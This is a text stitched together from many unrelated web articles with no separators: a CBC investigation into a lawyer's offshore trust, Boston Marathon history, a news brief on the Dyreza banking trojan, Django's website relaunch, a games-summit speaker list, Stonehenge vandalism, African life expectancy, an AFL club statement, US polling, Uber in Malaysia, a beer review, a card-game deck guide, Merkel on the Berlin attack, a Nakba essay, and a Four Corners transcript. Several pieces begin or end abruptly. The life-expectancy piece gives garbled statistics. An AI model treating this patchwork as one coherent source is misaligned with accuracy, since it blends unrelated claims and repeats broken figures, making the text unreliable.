Merchant is one of Canada’s most prominent class-action lawyers. His crowning achievement is the $1.9-billion settlement for survivors of aboriginal residential schools, from which his Regina-based national firm, Merchant Law Group, was slated to earn $25 million. He has also gone after cellphone companies for their system-access fees, drugmakers behind the withdrawn arthritis pill Vioxx, various automakers, the Canadian Standards Association, and universities over late-payment charges.
Merchant’s legal maneuvers have sometimes landed him in hot water. He’s been disciplined by the Law Society of Saskatchewan five times (the most recent case is under appeal), and in 2008 a B.C. court ordered him to pay a former client $273,000 for excessive billing.
Some of the 68-year-old’s biggest legal battles have been with the Canada Revenue Agency, over his income taxes.
Since the late 1970s, the litigator has repeatedly locked horns with the CRA, taking a dozen cases to tax court and a handful as high as the Federal Court of Appeal. Some of the disagreements centered on tens of thousands of dollars Merchant booked as business expenses, such as costs for his Jaguar or Regina social functions he attended. In one case, he failed to report $75,592 in income, which a judge ruled was “grossly negligent, if not deliberate.”
None of the court records from those cases mention Merchant’s offshore investments. Those have only come to light in the leaked documents, which show that he created an entity called the Merchant (2000) US Trust in 1998 and then put the $1.7 million into it.
Normally when someone sets up a trust, they give away control of the assets it holds. In Merchant’s case, the leaked records show that at the time, he was a beneficiary of his offshore trust, as well as its “protector” — a role giving him significant power, according to experts in trust law. (He ceased being a beneficiary in 2002.)
The files also show the people handling the trust’s investments were told Merchant “is to retain an active involvement on this account” and to “please revert directly to Mr. Merchant” for any “problems or queries.” In addition, Merchant had trading authorization for the funds in Bermuda, according to the records.
“Canadian tax authorities could say, ‘In fact, it’s being controlled from Canada by Mr. Merchant, and not by the offshore trustee,’ ” Cockfield commented.
“Then it would be a domestic Canadian trust. You’d have to have full disclosure on all of the income, the nature of the trust. The beneficiaries would also have to disclose everything.”
Tax-court filings obtained by CBC News show that on his income tax return for 1999, the year after he established the trust, Merchant didn’t tick off the box declaring ownership of more than $100,000 in “foreign property.”
Under Senate rules, Pana Merchant was required to declare she was a beneficiary of the Merchant (2000) US Trust to the Senate’s ethics commissioner, but confidentially. There is no public access to the information.
CBC News attempted several times to also contact Pana Merchant. Like her husband, she did not reply.
Senate colleague
In a 2006 interview with the CBC, Tony Merchant said: “Money has always motivated me. But it’s not really that it motivates me to spend it, in particular. But I guess it motivates me to have it. And I’m sure my children will spend it well.”
While Merchant’s wife was named as a beneficiary of an offshore account, Liberal Senator Percy Downe has been campaigning for years against such investment vehicles, calling many of them “a tax holiday.”
“More and more upper-income Canadians are hiding their money overseas, not contributing to the Canadian economy and not paying their fair share, and that simply means the rest of us have to pay more,” he said in an interview. “It’s grossly unfair.”
Zalac is a national reporter with Société Radio-Canada/Canadian Broadcasting Corporation. Cashore is senior producer and Shprintsen is a producer at CBC News, Special Investigations Unit. Dubinsky is a senior writer for CBCNews.ca.
Here are 10 of our favorite moments from the last 40 years of elite racing at Boston.
1975: The Emergence of Boston Billy
What's your favorite detail from the first of Bill Rodgers ' four Boston wins? The shirt he pulled from a trash can and hand lettered with his club's name? The new shoes that he wore, a promo sample from an upstart company called Nike that were sent to him by Steve Prefontaine ? The lowering of his personal best from 2:19:34 to 2:09:55? The stops to tie a shoe and drink water?
Those items helped to launch Rogers' world-class marathoning career and his reputation as a lovably wacky guy who just happened to be able to run the rest of the world into the ground. Rodgers also won Boston in 1978, 1979, and 1980, and he won New York City every year from 1976 to 1979 (once in a borrowed pair of boys soccer shorts when he packed inadequately). But that first Boston win will always stand out. Read more about it here.
1982: The Duel in the Sun
In 1982, they battled stride for stride for more than two hours in the most thrilling Boston marathon ever run. Then the drama really began. Steve Bonini
A race that becomes the topic of a book is obviously something special.
When Alberto Salazar came to the 1982 Boston Marathon, he was considered invincible on the roads, thanks in part to his world-class pedigree on the track and in cross country. He certainly wasn't in the habit of worrying about runners whose 10K PRs were 2 minutes slower than his.
Yet it was just such a runner who pushed Salazar to his limits on that bright, warm day. A marathoner's marathoner, Dick Beardsley had prepared with specificity (including a Heartbreak Hill workout in a blizzard) and focus for his showdown with Salazar. Although Beardsley was unable to break Salazar with repeated surges, he can rightly claim to be the main reason for the first two sub-2:09s in Boston history.
Read more about the race and its aftermath here.
The video below is well worth your time. Come for the crazy close-in crowds and cops, stay for Beardsley's coach, Bill Squires, screaming "Dickie!!" as the two runners battle down Boylston.
1983: Joan Benoit Samuelson's Fearlessness
Joan Benoit Samuelson's time of 2:22:43 at the Boston Marathon stood as the American course record for almost 30 years. Boston Globe / Getty Images
The day before the 1983 race, Grete Waitz of Norway set a new world best at the London Marathon . Her time of 2:25:28 meant that Joan Benoit 's 2:26:12 from the previous fall was no longer the undisputed world best. (Waitz ran 2:25:41 at New York City in 1980 on a course later measured as short.)
The following day, Benoit reclaimed the record, and then some.
Benoit (later, Benoit Samuelson) hit early splits in times that would still races at those distances, such as 51:34 at 10 miles and 1:08:34 at halfway. When a man running near her told her she better slow down, Benoit pressed on with a metaphorical when-you're-fit-you're-fit shrug. Kevin Ryan, a New Zealand Olympian with a 2:11 PR (#14 above), was running with Benoit for media purposes, and found himself having to work much harder than planned to keep up.
Although she slowed over the second half, Benoit finished in 2:22:43, more than two and a half minutes faster than Waitz had run the previous day. The aggressive retort to Waitz presaged the first women's Olympic Marathon the following year, when Benoit ran away from the field after 3 miles and Waitz finished second, more than a minute behind.
1985: Geoff Smith Wilts But Still Wins
Geoff Smith suffered in the heat after running the first half of the race at world record pace. Boston Globe / Getty Images
Just two years after Benoit Samuelson's world best, the elite side of Boston had fallen on hard times. Nearly all other big-city marathons were paying top runners appearance fees and prize money; Boston's field paled in comparison.
The clear favorite among men was the defending champion, Geoff Smith of Great Britain. Determined to show that Boston still mattered, Smith set out at world record pace on a hot day, and passed halfway in 1:02:51.
The course, conditions, and pace soon overwhelmed Smith. Hamstring cramps forced him to walk on some of the Newton Hills. But the field was so relatively weak that Smith, who more stepped than sprinted across the finish line, was able to win by more than 5 minutes with his time of 2:14:05.
The following year, the marathon started paying prize money.
1996: Uta Pippig's Unlikely Comeback
Uta Pippig wore a towel on the winner's podium to cover her blood-stained legs.
The third of Uta Pippig's three consecutive Boston wins was the most unlikely.
Granted, she was the course record holder and had won her seven previous marathons. But none of that mattered when, starting in the fifth miles, she experience stomach cramps, then diarrhea. Later in the race she noticed blood running down her legs. At one point she considered dropping out.
Instead, she overcame Kenyan Tegla Loroupe's 30-second lead in the 25th mile and won the 100th running of Boston, at the time the largest marathon in history. Pippig received the winner's laurel wreath with a towel wrapped around her leg, and later reported the day's distress was due to inflammatory bowel disease.
1997: First African Women’s Winner
Fatuma Roba runs with South Africa's Elana Meyer en route to the first Boston win by an African woman. Boston Globe / Getty Images
In the 21st century, runners from Kenya or Ethiopia have won every women’s race except two. But it wasn’t always that way.A year after being the surprise winner of the 1996 Olympic Marathon, Ethiopia's Fatuma Roba (F2 above) became the first African woman to win Boston. Roba won again in 1998 and 1999. The most recent non-African women's winner was Lidiya Gregoryeva of Russia, the 2007 champion.
2004: First Separate Women’s Start
A small group of elite women wait to usher in a new era at the 2004 race. PhotoRun
Since 2004, a small group of elite women has started about half an hour before the first main wave of runners. The goal in doing so—to better showcase the women’s race—has been met in spades. Every year between 2008 and 2012 featured a duel down Boylston Street; the winning margin in those years ranged from 1 to 3 seconds.The video below shows the first of those close finishes, with Dire Tune beating Alevtina Biktimirova by 3 seconds to win the 2008 race.
2011: Desi Linden Almost Notches an American Win
Caroline Kilel outlasted Desiree Linden by 2 seconds for the 2011 win. PhotoRun
One of those close women’s finishes came in 2011, when Desiree Linden (then Davila) came within two seconds of being the first American winner since 1985. The video below shows the surges she and winner Caroline Kilel of Kenya traded during the last several hundred meters on Boylston Street before Linden is finally spent.One consolation: Her time of 2:22:38 broke Benoit Samuelson's American course record. ( Shalane Flanagan broke it again last year with her 2:22:02.) Linden's losing margin of 2 seconds is the closest an American woman has come to winning Boston since Lisa Rainsberger's victory in 1985.
2011: Geoffrey Mutai Runs Faster than the World Record
Geoffrey Mutai finished the 2011 race 57 seconds faster than what the world record was at the time. PhotoRun
With help from an aggressive-from-the-start Ryan Hall and favorable winds, Geoffrey Mutai won in 2:03:02, at the time the fastest marathon ever run. Because of its net elevation loss and point-to-point course, Boston is ineligible for official world records under current rules. But still, 2:03:02! (The world record at the time was 2:03:59; it's now 2:02:57.)And it wasn't just Mutai who ran fast that day. Runner-up Moses Mosop finished his debut marathon in 2:03:06. Hall finished fourth in 2:04:58, the fastest marathon ever run by an American, and almost a minute under the previous course record.
2014: Meb!
Meb Keflezighi celebrates his 2014 Boston Marathon win. Brian Snyder / Reuters
Is there really anything left to say about how perfect this day was?
Relive it below.
The trojan Dyreza, otherwise known as Dyre, was recently updated to target computers running Windows 10. An additional variant has also been spotted hooking into the Microsoft Edge browser according to a report issued by Heimdal Security.
The latest version of the information-stealing malware can kill a series of processes linked to security software in order infiltrate systems more quickly and effectively. The operatives behind Dyreza spread the malware via spam campaigns that target a wide swath of users.
According to Heimdal Security’s report, 80,000 Windows machines have already been infected by the trojan, which is often delivered by a downloader known as Upatre.
Windows 10 and Microsoft Edge users currently make up a relatively small portion of the global computing community—the latest version of the Windows operating system accounts for just eight percent of the world’s PCs—but Dyreza’s presence presents a considerable concern for those on the OS or considering upgrading.
Dyreza, which first appeared in July 2014, is also capable of exploiting Chrome, Firefox, and Internet Explorer. The malware has been known to target banking websites as well as supply-chain businesses, where it can potentially steal credentials in bulk. Windows operating systems dating back to Vista are vulnerable to the cybercrime software.
Microsoft did not respond to request for comment at the time of publication. However, the company updated its Protection Center database with new information on Dyreza as of November 11.
Heimdal Security warns, “Lagging cyber security education and the amount of software vulnerabilities that plague all platforms, but especially Windows-based PCs, are creating an environment that’s so rich in opportunities to exploit that cyber criminals can simply not resist.”
The actress told The Playlist that she had been in talks with Scott regarding another film. She said: "They're working on the script. I met Ridley in London a couple of weeks ago.
"I would love to work with him again and I know that he would like to do another one. It's just like we need to find the right story. I hope we will."
The Django project is excited to announce that after many years, we're launching a redesign of our primary website, our documentation site and our issue tracker.
Django's website has been largely unchanged since the project was launched back in 2005, so you can imagine how excited we are to update it. The original design was created by Wilson Miner while he was working at the Lawrence Journal-World, the newspaper at which Django was created.. Wilson's design has held up incredibly well over the years, but new design aesthetics, and technologies such as mobile devices, web fonts, HTML5 and CSS3 have drastically changed the way websites are built.
The old design was also focused on introducing a new web framework to the world. Django is now a well-established framework, so the website has a much broader audience -- not just new Django users, but established users, managers, and people new to programming. This redesign also allows us to shine a spotlight on areas of the community that have historically been hidden, such as the Django Software Foundation (DSF), the community of projects that support Django developers (such as people.djangoproject.com and djangopackages.com), and the various educational and consulting resources that exist in our community.
This redesign is the result of multiple attempts and the collaboration of a number of groups and individuals. Work on the redesign started in 2010. Initially, a number of people (including Christian Metts and Julien Phalip) tried to produce a new design as individual efforts; however, these efforts stalled due to a lack of momentum. In 2012, the DSF developed a design brief and put out a call for a volunteer team to redesign the site. The DSF received a number of applicants and selected interactive agency Threespot to complete the design task. For a number of reasons (almost entirely the DSF's fault), this design got most of the way to completion, but not 100% complete.
Earlier this year, Andrew McCarthy took on the task of completing the design work including a style guide for future expansions. The design was then handed over to the DSF's website working group to convert that website into working code.
Since everyone is a volunteer on this team we'd like to name them individually: Adrian Holovaty, Audrey Roy, Aymeric Augustin, Baptiste Mispelon, Daniel Roy Greenfeld, Elena Williams, Jannis Leidel, Ola Sitarska, Ola Sendecka, Russell Keith-Magee, Tomek Paczkowski and Trey Hunner. One of the DSF's current fellows Tim Graham also helped by finding bugs and reviewing tickets. Of course we couldn't have done it without the backing of the DSF board of directors over the years.
Now we'd like to invite you to share in the result of our efforts and help us making it even better. Please test-drive the site and let us know what you think.
If you find a bug -- which we're sure some will -- open a ticket on the website's issue tracker. If you want to contribute directly to the site's code please don't hesitate to join us on Freenode in the channel #django-websites.
We also wouldn't mind if you'd tell us about your experience on Twitter using the hashtag #10YearsLater, or by tweeting at @djangoproject.
So now, without further ado, please check out the new site djangoproject.com, the documentation docs.djangoproject.com and our issue tracker code.djangoproject.com.
That's all for now. Happy coding, everyone!
The evolving slate of speakers represent industry leaders from every region, discussing many aspects of the industry that have charted new territory and opportunity for this new age. Newly confirmed to take the stage:
Shuhei Yoshida, president of Sony Computer Entertainment Worldwide Studios – Lorne Lanning will host “A Conversation with Shu Yoshida” for an intimate chat about 20 years of the PlayStation® brand and Yoshida’s perspective on the game industry – past, present and future. This dialogue will explore Yoshida’s views on fostering game development, first party and third party, and how the barriers between “Indie” and “AAA” are dissolving as the industry embraces a new phase of openness.
Lorne Lanning, chief creative officer of Oddworld Inhabitants – Lanning is best known for his work on the Oddworld franchise.
Mark Lamia, studio head at Treyarch Games – Lamia will present “Treyarch’s Zombies: Following the Fun to Win Hearts…and Brains,” where he will explore the highly unorthodox development process behind Treyarch’s Zombies mode and the unique creative dialogue the studio has with its global audience of Zombies fans.
Kristian Segerstrale, COO and executive director at Super Evil Megacorp – Segerstrale is co-founder of Initial Capital and was previously EVP Digital at EA and CEO and co-founder of Playfish and co-founded Macrospace / Glu Mobile. He will speak on “What Past Pioneers Can Teach Us About Our New Frontiers” where he will distill key lessons in building three companies and convert those lessons into predictions about how the various new innovation vectors in the industry (might fare, and how established platforms might do in turn.
Nathan Vella, co-founder & president of Capy Games – Best known for collaborating on Superbrothers: Sword & Sworcery EP and creators of Super Time Force, Vella’s session will explore the rewards of collaboration, and he’ll share key lessons on why and how it works best.
Chris Roberts, chief creative officer and co-founder at Cloud Imperium Games, best known for his Wing Commander series and the highly anticipated, $59 million crowd-funded Star Citizen – Roberts’ topic will be confirmed soon.
Brenda Romero, program director of UC Santa Cruz’s Master’s in Games & Playable Media Program, co-founder and chief executive officer of Loot Drop and an independent game developer at Romero Games, LLC – Romero’s topic will be confirmed soon.
Click here for the full list of speakers.
Click here to register for the 2015 D.I.C.E. Summit.
Vandals in attack at Stonehenge At one time, chisels would be handed to people visiting Stonehenge, so they could chip away at the ancient monument to get their own souvenirs. But the practice has been outlawed since 1900, when landowner Sir Edmund Antrobus decided the site needed protecting and introduced charges. Before then, anyone who visited the site could walk freely among the ancient stones. Now, the stones are fenced off, with private access allowed only by special arrangement. English Heritage said an attack on the revered stones on Thursday, during which a piece of the Heel Stone was chipped off with a hammer and screwdriver, was believed to be the first of its kind in many years. Nearly 1m visitors a year flock to the 5,000-year-old World Heritage Site. Thousands of visitors also flock there for traditional pagan festivals, the summer and winter solstice and spring and autumn equinox. For 15 years, until the summer solstice in 2000, the Wiltshire site was protected by a four-mile exclusion order, following a series of public order problems. Lifting the ban, English Heritage appealed to solstice visitors to remain peaceful and respectful during their visit, and the event - and subsequent events - passed largely trouble free. In December 2006, winter solstice visitors were left red faced after turning up for the celebrations on the wrong day. The 60-strong crowd were allowed into the site by English Heritage despite arriving a day early, but were advised to always check the date in future. Chisels were once handed out to Stonehenge visitors One reveller said: "There were an awful lot of red faces." Though a spokeswoman for English Heritage said the organisation could not remember a recent incident of vandalism at the site, it did become the focus of a protest in 2007. Three men from the group Fathers 4 Justice, dressed as cartoon characters from the Flintstones, scaled the monument and unveiled a banner. English Heritage said it was disappointed with the protestors and felt the demonstration not only disrespected the stones, but could damage them. The men were arrested by Wiltshire Police on their descent, and two of them later fined. Stonehenge was bought by its last private owner, Sir Cecil Chubb, for £6,600 in 1915. He presented it as a gift to the nation in 1918. The site was substantially restored in the early 20th Century, when stones which had started to fall over were straightened and set in concrete. More recently, the site, which was originally built in three stages of construction requiring more than 30 million hours of labour, has been the focus of attention from archaeologists, rather than engineers. A 2008 excavation - the first in four decades - aimed to try to establish some precise dating for the creation of the monument. In April, archaeologists said they had broken through to a layer which could finally explain why the site was built. Their findings are expected to be made public in the autumn.
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Since 2000, the average life expectancy in African countries has increased from 20 percent to 42 percent. That is the biggest increase in life expectancy recorded in that time frame in all regions around the world. One of the biggest life expectancy increases has occurred in Malawi. Malawi’s life expectancy in 2000 was 44.1 years. In 2014, it was reported that the new life expectancy in Malawi was 62.7 years – a 42.2 percent increase.
Health and welfare improvements are one of the main reasons why life expectancy in Africa has been on the rise. One of the biggest health issues that Africa has been plagued with is the HIV/AIDS epidemic. HIV/AIDS has tragically claimed many lives in Africa, which is a large reason why life expectancy was so low. Treating these diseases was difficult at height of the epidemic, so many Africans unfortunately died. Because HIV/AIDS has been such a huge issue, there has been a lot of research done to help alleviate the problem. Improvements in medication and treatment have helped Africans and others around the world combat the AIDS epidemic. Not only is there now medicine available to help suppress the disease, but this medicine has become much more affordable for all people, including those in developing countries.
Although an epidemic, HIV/AIDS was not the only problem that African countries suffered from. Malaria was also an issue that affected life expectancy in Africa. However, strides have since been made to alleviate that issue as well. The World Health Organization (WHO) in Africa has reported that the rate of malaria has decreased by 66 percent since the year 2000. More importantly, malaria in African children under the age of five has decreased by 71 percent. This is important because more children are surviving in Africa. Prior to these improvements, HIV/AIDS and malaria have claimed many lives of children under the age of five. Since healthcare – and access to it – has increased in Africa, more children are surviving past age five. Once these kids clear the first five years of their lives, it is much more likely that they will grow up to reach the age of 60.
Life expectancy in Africa has increased and things are only looking to get better. Not only has the life expectancy dramatically increased, it is beginning to look like malaria may be eliminated by 2020 and HIV/AIDS by 2030. This will surely serve to further increase the life expectancy of African countries, as well as elsewhere around the world.
– Daniel Borjas
Representatives from the Club have requested all parties to the investigation to guarantee confidentiality and to afford natural justice. Breaching this confidentiality directly undermines the trust in the process and selective disclosure of information relating to the investigation appears to be deliberately threatening the integrity of this process.
For the reputation and integrity of senior coach James Hird to be questioned without the right to due process, is extremely disturbing and inappropriate in the circumstances.
Today, The Age reported that James Hird received a ‘warning’ after he had been ‘investigating the anti-doping status of certain peptides.’
This is factually incorrect. Until the ASADA investigation is completed the full context of this particular meeting should not be the subject of innuendo.
On Monday night on Channel 9’s Footy Classified program and on Tuesday night on 3AW’s Sports Today program, Caroline Wilson, referring to the Club’s supplements regime falsely asserted that James Hird was the “main architect.” This is just factually wrong.
Ms Wilson also asserted that James Hird was Mr Dank’s initial champion. This is also factually wrong. Mr Dank was brought to the club at the insistence of Dean Robinson with whom he had worked previously.
Essendon Football Club has been limited in what we can comment on, and more than anything else, we want the ASADA investigation to be completed.
Despite the extraordinary media commentary and speculation, the Club has maintained its commitment to this process.
However, the Club will not continue to allow the reputation of its players, coaches, staff and the Club itself to be questioned by factual inaccuracies.
The poll shows so many Americans support marriage equality that a conservative may not be able to win on the issue.
A new poll shows nearly two-thirds of Republicans oppose the Supreme Court’s ruling in favor of marriage equality, a finding that may bring hope to right-wing presidential candidates, who have made opposition to same-sex marriage a hallmark of their campaigns.
But the Reuters/Ipsos poll also indicates that more than half of Americans overall support marriage equality, so opposition to marriage equality may hurt Republicans in the November 2016 general election, Reuters reports
The survey, conducted online, found that 63 percent of Republicans think the court's decision was wrong. That could buoy marriage equality opponents like Wisconsin Gov. Scott Walker, Sen. Ted Cruz of Texas, and former Arkansas Gov. Mike Huckabee as they seek the Republican nomination.
Walker, who has called for a constitutional amendment to allow states to decide whether to allow same-sex marriage, is expected to formally enter the presidential race next week. Cruz, Huckabee, and several others who have already declared are longtime marriage equality opponents.
The poll found 42 percent of Republicans taking Walker's position that same-sex marriage laws should be made at the state level by referendum, while only 24 percent of the total polled supported the idea.
In total, 51 percent of those polled said they suppor equal marriage rights, with 35 percent opposed. Forty-eight percent of independent voters voiced support, a figure that does not bode well for Republicans in the general election.
In what could be perceived as a total U-turn, taxi companies are looking to work with ride-sharing app Uber in an effort to “save the taxi industry.” A report by The Sun states that the companies will sign a memorandum of understanding with Uber Malaysia as soon as this week, a sea change from recent years when both taxi drivers and companies alike railed against the maker of the app.
A pilot stage beginning next month will see around 500 taxi drivers across Peninsular Malaysia from at least six companies using the app to get passengers. The taxi companies are said to be finalising discussions with Uber, since the latter predominantly deals with credit and debit card transactions.
“We will continue to operate as metered cab operators,” said a taxi operation manager.? “But if a taxi driver decides to take bookings via Uber, then the cabbie has to follow the fare rate set by Uber, whether it is lower or higher than the current regulated fare by SPAD.”
The report also notes that the deduction of fare income through the use of the app will only be conducted between the taxi driver and Uber, although it remains to be seen if that deduction will remain at 25%, the same as regular drivers using private vehicles. “We have to move fast since e-hailing will be regulated soon after the law amendment in Parliament this month,” said another taxi company managing director.
When asked why the companies chose to collaborate with the San Francisco-based startup instead of local services like Grab (which started off as the taxi-hailing app MyTeksi), a director of a leading taxi company said, “The public are more aware with the Uber branding. We have also been using local apps [for bookings] but we are not getting much traction due to lack of marketing.”
Taxi drivers and companies have been outspoken regarding the rise of ride-sharing services like Uber and Grab since 2015, having organised multiple protests – including one which blocked Jalan Bukit Bintang. There have also been reports of drivers suing the app makers, as well as harassing their drivers.
All these have not dampened the popularity of these services, however, with The Sun reporting last October that around 10,000 taxi drivers have returned their vehicles to their respective companies due to stiff competition from Uber and Grab. It is said that many taxi companies may not survive beyond 2018, and have since told the publication that “instead of continuous war against Uber, it is time to embrace the ‘enemy.'”
Well, i’m not going to lie – I felt PRETTY cool snagging one of these Grimm Magnetic Tape cans. Well, actually Bearman snagged it for me technically, but ya know, he felt bad for me and let me have it. Grimm is one of the hottest breweries in the game right now, so as a super enthusiastic beer hipster, I was over the moon to be able to try one of these.
Here’s what Grimm Artisanal Ales has to say about this beer:
“Magnetic Tape is the cousin of the beloved Magnetic Compass. Both are oat single IPA’s pairing Mosaic with an interesting hop from New Zealand. Where Compass uses Rakau hops, Tape uses Motueka. This beer is all about big, fresh, radiant tropical fruit character from these two matchless hop varietals. There are no rough edges, just full and round aromas of melon, mango, and citrus. High drinkability quotient.”
Man, hops are some crazy shit. This beer reeks of delicious pineapple notes, yet there’s no pineapple in it! It’s pretty crazy how deliciously pungent the aroma of this brew really is, I could smell it from a foot away – I mean, that’s serious. My first Grimm experience was a total delicious success and I’m looking forward to my next run in!
Until next time, watch the video above and let me know what you think about Grimm in the comments!
BEER DETAILS Name: Magnetic Tape
Brewery: Grimm Artisanal Ales (New York, USA)
Style: IPA
ABV: 6.4%
Malts: N/A
Hops: Mosiac, Motueka
Additional Adds: N/A
IBUs: N/A
Some of my Favorite combos include the key card to my deck Gravecrawler. If I have my commander out, I can get some useful mill out of him, and get some 2/2 zombie tokens, using Altar of Dementia. If I have Undead Alchemist on the field with that, its a potential win-con. When I mill my foes, I get zombie tokens, and then I get more tokens by sacrificing those tokens with the Altar. If I have Rooftop Storm on the board, then Gravecrawler is a wincon, as long as I have the Altar of Dementia. If I don't, I could use Grimgrin, Corpse-Born alongside Diregraf Captain. Grimgrin works extremely well with Jarad, Golgari Lich Lord too, by making Grimgrin infinitely large with gravecrawler and rooftop storm, and then sacrificing him to instantly kill all the other players. My ideal earlygame play is to get Buried Alive off on turn two or three. The cards I usually grab with that are Gravecrawler, Wonder/Genesis, and Golgari Grave-Troll. If I don't get it until lategame, and I already have Gravecrawler, Wonder, Genesis, and a Dredger in my grave, then I might put something bigger in, like Gravespawn Sovereign, Grimgrin, Corpse-Born, Sidisi, Undead Vizier, or Grave Titan. That way I can bring them back with a Victimize. With Greenwarden of Murasa and Eternal Witness I like to grab some of my key artifacts, that are sac outlets, such as Phyrexian Altar Ashnod's Altar, Altar of Dementia, and Skullclamp. If not those, then some other useful combo cards that are not creatures (because I have a lot more ways to recur my creatures than I do my artifacts and enchantments), like Victimize, Leyline of Anticipation or Rooftop Storm.
Since the ban of Prophet of Kruphix I have been really missing being able to cast Gravecrawler at instant speed with Rooftop Storm and generating mana to cast whatever I would need to with my Phyrexian Altar. Because of this, I have added Leyline of Anticipation. It is useful because I can keep my mana open for playing a more reactive style and less proactive. With the Leyline in play, I can hold my big spells, like Army of the Damned until right before my turn, so they are less likely to get wiped, and I can untap them right away. It is also useful if I have Noxious Ghoul or gravepact in play with Rooftop Storm and a sac outlet, because then I can wipe the board whenever I want to using my Gravecrawler.
The next Addition I made is Gravespawn Sovereign. This card is truly gruesome, and I am easily able to use its ability to reanimate my things or to net an extremely large amount of zombie tokens. One combo I have discovered with my short time playing with it is to have Parallel Lives in play along with Gravespawn Sovereign, Phyrexian Altar, Grave Titan, and Gravecrawler. I can play grave titan, getting my 4 zombies, and then I play gravecrawler, I sacrifice the grave titan, and then tap my 4 tokens and Gravecrawler to reanimate him, I then sacrifice gravecrawler to the Phyrexian Altar to generate a black mana, and using that mana, I replay Gravecrawler. He comes in Untapped and I can repeat this process over and over again, netting one colored mana each time, effectively giving me an infinite supply of mana. There are many other combos that I have yet to discover with him I am sure, but so far, Gravespawn Soverign is a very strong card.
It may seem obvious why I have Included Rhystic Study in my deck, but let me show you a less obvious combo that I have come to use quite often. If I have Lotleth Troll on the board with my Rhystic Study, and a Creature card with dredge in my grave, every time I would draw a card with the rhystic study, I can instead dredge something to my hand, (and this has a chance to get me some zombies too, if my commander is in play). I then discard the creature card I just dredged by using lotleth troll's ability, making easy mills for me, and a Hard time for my opponents.
As you can see, Basalt Monolith works extremely well with Mesmeric Orb and I can easily mill my entire deck. I am currently in the process of getting a Vigor so that not only can I not mill myself out, I also can get an Infinite number of zombies with my commander.
"We don't know anything for certain, but we must assume it was a terrorist attack,” she said according to a live translation of her comments at a press conference.
"It would be very difficult for us to learn that a human being who came to Germany to ask for refuge and asylum committed this deed.
"It would be terrible for all Germans who are very active, day by day, in helping asylum seekers and refugees.
"It would be repugnant for those who are helping people who came to this country asking for our help."
Thus far 12 people died in the attack while nearly 50 others were injured.
The suspect was believed to be a 23-year-old Pakistani refugee identified as Naved B., but he reportedly has denied involvement, and now Berlin police are saying they are uncertain as to whether they have the correct suspect.
"Millions of people, including myself, are asking ourselves, how can you live with the fact that, while celebrating the festive season where we want to celebrate life, somebody has come along and taken so many lives. I only know that we do not want to, and we cannot live with it," Merkel said.
"We do not want to allow ourselves to be paralyzed by terror. It might be difficult in these hours, but we will find a strength to continue living life as we want to live it in Germany, in freedom and openness and together."
They were mostly young Palestinians, drawn from the 470,000-plus refugee community in Syria: from Yarmouk refugee camp inside Damascus, from Khan el-Sheikh camp outside it, from Deraa and Homs refugee camps in the south, from Palestinian gatherings all over the country.
Slowly, and in spite of the shouted warnings from the villagers from Majdal Shams about the lethal landmines installed by the Israeli military right up to the fence, these remarkable ordinary young people – Palestinian refugees – began to both climb and push at the fence. We were going home.
It was a profoundly revolutionary moment, for these hundreds of young people entering Majdal Shams last Sunday made public the private heart of every Palestinian citizen, who has lived each day since 1948 in the emergency crisis of a catastrophe. Waiting, and struggling, and organising for only two things: liberation and return.
What made this moment and others like it across the region so radical in gesture, democratic in purpose, and universal in intent? It brought the entire world suddenly face to face with the intimate and immediate in the very human struggle for freedom of each Palestinian, whether refugee or not. Sixty-three years ago the entire body politic of the people of Palestine was violently destroyed and dispersed. All Palestinians, whether refugee or not, share that terrible history – it is what unites us.
This is the shared experience we commemorate every year on Nakba Day: the year-long expulsion of hundreds of thousands of Palestinians that began in 1947 and continued straight through 1948 into the terrible snowstorm winters of 1949, creating what is now the world's largest refugee population.
On Sunday, this moment of return was enacted simultaneously in Haifa and among Palestinians displaced inside Israel, on the borders of Lebanon, Egypt, Jordan, and Gaza, in the West Bank near the Qalandia refugee camp – wherever the more than 7 million stateless Palestinian refugees now live, very near their original villages and towns. Just out of sight, over the hill, across the border.
This basic injustice has yet to be addressed by any of the schemes currently on the table to solve the Palestinian issue. For this is not about the reconciliation of political parties, the search for a state or the establishment of two, negotiations or the lack of them, the enfranchisement of a third of our people over the disenfranchisement of the rest.
Indeed, what happened on Sunday was not the plan of Salam Fayyad, the Palestinian Authority prime minister, nor that of Fatah or Hamas; it most certainly wasn't the American, European or Israeli plan for dealing with the Palestinian people. Like the rest of the Arab people who have taken their fate into their own hands – and in doing so provided lessons and models in the meaning of democracy and citizenship to the rest of the world for years to come – the Palestinians have demonstrated, quite perfectly and with great courage, what it is to be fully human, and how to hold on to one's humanity in spite of more than six decades of violent oppression.
Activists living in Majdal Shams had not been expecting them, and were completely surprised to see the dozens of buses pull up on the other side of the valley. Organised largely on the phone and internet, many of these young Palestinian refugees, mostly university students, didn't even know each other.
They certainly didn't know what was about to happen to them. Israeli soldiers fired live ammunition at the protesters, who were armed only with the deeds to their property, or ageing photographs of their parents' farms. One young man carried his grandmother in his arms.
Kevin Rudd lost his job when Party bosses saw his popularity waning. Now Julia Gillard is in even worse shape. What does Labor do next? Could it roll the dice again and return to its former leader?
A Four Corners team has been unearthing the truth about Labor in power. It's an extraordinary exposé containing revelations about one of the great political dramas of our times.
"The Comeback Kid?", reported by Andrew Fowler and presented by Kerry O'Brien, goes to air on Monday 13th February at 8.30pm on ABC1. It is repeated on Tuesday 14th February at 11.35pm. It can also be seen on ABC News 24 on Saturdays at 8.00pm and on iview and at abc.net.au/4corners.
Transcript
The Comeback Kid - 13 February 2012
ANDREW FOWLER, REPORTER: Not since the days of Bob Hawke have the Australian people taken to a politician with such public outpourings of adoration. The young and not so young are attracted in equal numbers. Out here on this summer's evening in Sydney's Darling Harbour, it's hard to believe that anyone wouldn't want to have a drink with Kevin. The affection for the man who once ruled their world is unquestionably authentic.
TROY BRAMSTON, FORMER RUDD SPEECH WRITER: Well, he has a certain style and a manner about him. Obviously he he's very intelligent, but he is able to communicate with people... um, you know, at an everyday level, and he is able to express, you know, empathy and understanding with people.
CON SCIACCA, FORMER LABOR MINISTER: We were seduced by his intellectual capacity, by his charm, by the fact that, you know, he is very bright, and he's a great actor. Like, I mean if he never gets back to being Prime Minister of Australia, I reckon he'd make it in Hollywood.
ANDREW FOWLER: In the 19 months since he was rolled as the nation's leader, Kevin Rudd's ratings as preferred Prime Minister have remained buoyant. Kevin Rudd is still nearly twice as popular as his replacement, Julia Gillard, who since becoming Prime Minister has presided over a catastrophic collapse in Labor support. The street theatre is all part of what seems a carefully crafted campaign to remind Labor that Rudd has popular support, which could save the party from oblivion at the next election. We asked the question all Australia wants answered.
